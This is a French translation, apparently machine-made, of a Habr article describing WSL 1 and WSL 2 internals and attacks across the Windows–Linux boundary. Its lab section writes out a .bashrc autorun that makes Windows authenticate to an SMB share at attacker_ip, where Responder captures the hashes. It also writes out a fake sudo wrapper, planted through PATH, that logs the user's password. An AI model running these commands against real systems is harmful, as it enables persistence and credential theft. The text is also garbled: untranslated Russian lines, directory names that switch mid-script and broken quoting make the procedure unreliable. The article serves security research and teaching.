Bonjour Habr! OTUS lance une nouvelle filière de cours en octobre . En prévision de la rentrée des cours, nous partageons avec vous un article rédigé par l'un de nos professeurs, Alexander Kolesnikov.
En 2016, Microsoft a présenté la nouvelle technologie WSL à la communauté informatique (WIndows Ssous-système pour Linux), qui a permis à l'avenir de fédérer des concurrents auparavant irréconciliables qui se battaient pour la popularité auprès des utilisateurs ordinaires et avancés d'OS : Windows et Linux. Cette technologie a permis d'utiliser les outils du système d'exploitation Linux dans un environnement Windows sans avoir besoin d'exécuter Linux, par exemple en utilisant le multi-boot. Sur Habr, vous pouvez trouver un grand nombre d'articles décrivant les avantages de l'utilisation de WSL. Malheureusement, au moment de la rédaction de cet article, aucune étude sur la sécurité d’une telle symbiose des systèmes d’exploitation n’a été trouvée sur cette ressource. Ce message sera une tentative de corriger cela. L'article parlera des fonctionnalités des architectures WSL 1 et 2 et examinera plusieurs exemples d'attaques sur des systèmes utilisant ces technologies. L'article est divisé en 2 parties. La première présentera les principales méthodes d'attaque théoriques depuis Linux et Windows. Le deuxième article consistera à mettre en place un environnement de test et à reproduire les attaques.
WSL 1 : caractéristiques architecturales
Pour une analyse plus précise des problèmes de sécurité du WSL, il est nécessaire de déterminer les principales nuances associées à la mise en œuvre du sous-système. L'une des principales tâches utilisateur résolues par WSL est la possibilité de travailler via un terminal Linux sur un hôte exécutant le système d'exploitation Windows. De plus, la compatibilité offerte était si native que les exécutables Linux (ELF) pouvaient être exécutés directement sur un système Windows. Pour atteindre ces objectifs, un sous-système spécial a été créé dans Windows 10 qui vous permet d'exécuter des applications Linux à l'aide d'un ensemble d'appels système spécifiques. Ainsi, une tentative a été faite pour mapper un ensemble d'appels système Linux sur Windows. Cela a été physiquement implémenté en ajoutant de nouveaux pilotes et un nouveau format de processus. Visuellement, l'architecture ressemblait à ceci :
En fait, l'interaction avec le système d'exploitation Linux était organisée à travers plusieurs modules du noyau et un type spécial de processus - pico. À partir du diagramme ci-dessus, vous pouvez voir que le processus exécuté sur l'instance Linux sur l'hôte doit être natif et doit utiliser les mêmes ressources que les applications Windows classiques. Mais comment y parvenir ? En projet Des concepts de processus pour Windows ont été développés, fournissant tous les composants nécessaires du système d'exploitation (en fonction de sa version) pour exécuter une application d'un autre système d'exploitation.
A noter que l'abstraction proposée a permis de ne pas se concentrer sur le système d'exploitation (notamment Windows), dans lequel le processus d'un autre OS est censé se lancer, et a suggéré une approche générale.
Ainsi, n'importe quelle application à l'intérieur du processus pico pourrait s'exécuter sans égard au noyau Windows :
- Les problèmes de compatibilité et de traduction des appels système doivent être résolus par des fournisseurs spéciaux ;
- Le contrôle d'accès doit être effectué via le moniteur de sécurité. Le moniteur est situé dans le noyau et Windows avait donc besoin d'une mise à niveau sous la forme d'un nouveau pilote pouvant servir de fournisseur pour de tels processus. Le processus prototype pico est présenté schématiquement ci-dessous :
Étant donné que le système de fichiers Linux utilise des noms de fichiers et de répertoires sensibles à la casse, 2 types de systèmes de fichiers ont été ajoutés à Windows pour fonctionner avec WSL : VolFS et DriveFS. VolFS est une implémentation du système de fichiers Linux, DriveFS est un système de fichiers qui fonctionne selon les règles de Windows, mais a la possibilité de sélectionner le respect de la casse.
WSL 2
WSL 1 présentait un certain nombre de limitations qui ne lui permettaient pas d'être utilisé pour résoudre un maximum de tâches : par exemple, il n'avait pas la capacité d'exécuter des applications Linux 32 bits et il était impossible d'utiliser des pilotes de périphériques. Par conséquent, en 2020, WSL 2 a été publié, ce qui a modifié l'approche de construction du sous-système. WSL 2 est une machine virtuelle optimisée qui correspond aux caractéristiques de consommation de ressources de WSL 1. Désormais, en fonction des problèmes résolus par l'utilisateur du système d'exploitation Windows, vous pouvez sélectionner la version requise du sous-système Linux. Pour atténuer les vulnérabilités possibles, WSL 2 a été implémenté sur la base d'Hyper-V dans Windows 10. Sous cette forme, Windows a la possibilité d'exécuter le noyau du système d'exploitation Linux de manière isolée. Il convient de rappeler que la version 1 de WSL a été introduite en tant que fonctionnalité bêta censée montrer l'orientation du développement de Windows dans ce domaine, la transition vers Hyper-V était donc inévitable. L'architecture finale ressemble à ceci :
Dans cette version, les noyaux Windows et Linux disposent de leurs propres ressources et l'intersection n'existe que dans le système de fichiers, mais cette intersection n'est pas complète. L'interaction entre les systèmes de fichiers s'effectue via un wrapper client-serveur qui fonctionne à l'aide du protocole 9P.
Aujourd'hui, Microsoft offre la possibilité de basculer entre WSL 1 et WSL 2. Les deux versions sont disponibles.
Sécurité WSL
À l'heure actuelle, plusieurs travaux décrivent certaines approches permettant d'utiliser des outils de système d'exploitation légitimes pour attaquer la communication entre les sous-systèmes. Nous utiliserons leurs scripts pour vérifier la pertinence des attaques au moment de la rédaction. Liste générale des attaques et scénarios :
1. Mise en place du système de fichiers : droits d'accès, disponibilité de répertoires partagés/mécanismes d'échange de données.
Des recherches ont été menées pour déterminer les violations des règles d'accès de Linux FS->Windows FS, Windows FS->Linux FS. La recherche a démontré la possibilité de modifier un fichier donné dans le système d'exploitation cible. Des tentatives ont également été faites pour remplacer, créer des doublons et supprimer une partie des systèmes de fichiers.
Scénario:
- A. Attaque depuis le système d'exploitation Windows - modification des fichiers du répertoire /etc du système d'exploitation Linux.
- B. Attaque du système d'exploitation Linux - modification de fichiers dans les répertoires :
C:Windows,C:Program Files,C:Users<User>
2. Implémentation de la pile réseau.
La recherche a été réalisée à partir d'exemples d'attaques du système d'exploitation Linux sur Windows. Les fonctionnalités de la pile réseau ont été utilisées, à savoir les mécanismes d'authentification sur diverses ressources.
Scénario:
- Ouvrir l'accès à un port occupé sur un système Windows
- Ouvrir un port sans les droits appropriés
- Exécution d'un shell inversé à l'aide du fichier elf sur le système d'exploitation Windows.
3. Masquage du lancement de processus logiciels malveillants à l'aide du sous-système WSL.
La recherche était basée sur un fait simple : dans le cas de WSL 1, les sous-systèmes de sécurité ne peuvent pas intercepter les événements d'un autre noyau qui fonctionne en utilisant un fournisseur légitime du système d'exploitation. Dans le cas de WSL 2, il n'y a aucun moyen de visualiser les événements qui se produisent. dans un noyau séparé au sein d'une machine virtuelle légère.
Scénario:
1) Lancez l'application d'accès à distance au système et affichez les événements enregistrés.
Expériences WSL 1 : interception de hachage (Windows)
Enfin nous sommes arrivés à la partie pratique. Tout d’abord, vous devez configurer l’environnement de test. Toutes les expériences seront réalisées sur un banc avec Windows 10 2004. L'image Ubuntu 18.04 a été choisie comme image du système d'exploitation pour WSL. L'image a été choisie au hasard et toute autre fonctionnera de la même manière. Commandes pour monter un stand :
Vous devez d'abord lancer powershell.exe en tant qu'administrateur.
Pour WSL 1, vous devez exécuter les commandes :
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Après avoir redémarré le stand, vous pouvez appeler la commande bash. Si tout a fonctionné correctement, vous verrez un résultat similaire à celui-ci dans la console Windows :
Nous utiliserons la distribution Kali Linux comme machine de l'attaquant ; toutes les machines doivent être sur le même réseau local.
Supposons que nous ayons un accès non privilégié à WSL sur une machine Windows. Essayons d'attaquer le système d'exploitation Linux en appelant une commande depuis Linux. Pour mettre en œuvre l'attaque, nous utiliserons une technique d'exécution automatique simple - nous ajouterons notre script pour l'exécution dans l'environnement Linux. Pour ce faire, vous devez modifier le fichier .bashrc.
Sur une machine avec WSL nous exécutons :
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitSur une machine Kali Linux, nous exécutons :
1. Responder -I eth0 -rdvwSur une machine Windows, lançons bash.
On attend le résultat sur la machine Kali Linux :
Ainsi, nous avons obtenu les hachages utilisateur Windows via le sous-système WSL en exécutant la commande sur le système Linux.
Expériences WSL 1 : obtention du mot de passe utilisateur (OS Linux)
Faisons une autre expérience. Lors de cette vérification nous ajouterons au fichier .bashrc plusieurs commandes afin d'obtenir le mot de passe utilisateur du système d'exploitation Linux.
Lançons bash et entrons les commandes :
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Pour réussir l'attaque, l'utilisateur Sam doit appeler sudo dans le terminal Linux. Après cela, le mot de passe de l'utilisateur du système d'exploitation Linux sera dans le fichier pass.txt:
La mise en œuvre des attaques n’a été donnée qu’à titre d’information théorique.
La prochaine partie de l'article décrira la mise en œuvre du protocole 9P, envisagera la création d'un scanner pour ce protocole, et également réalisera une attaque en l'utilisant.
Liste de la littérature utilisée
Lire la suite
Source: habr.com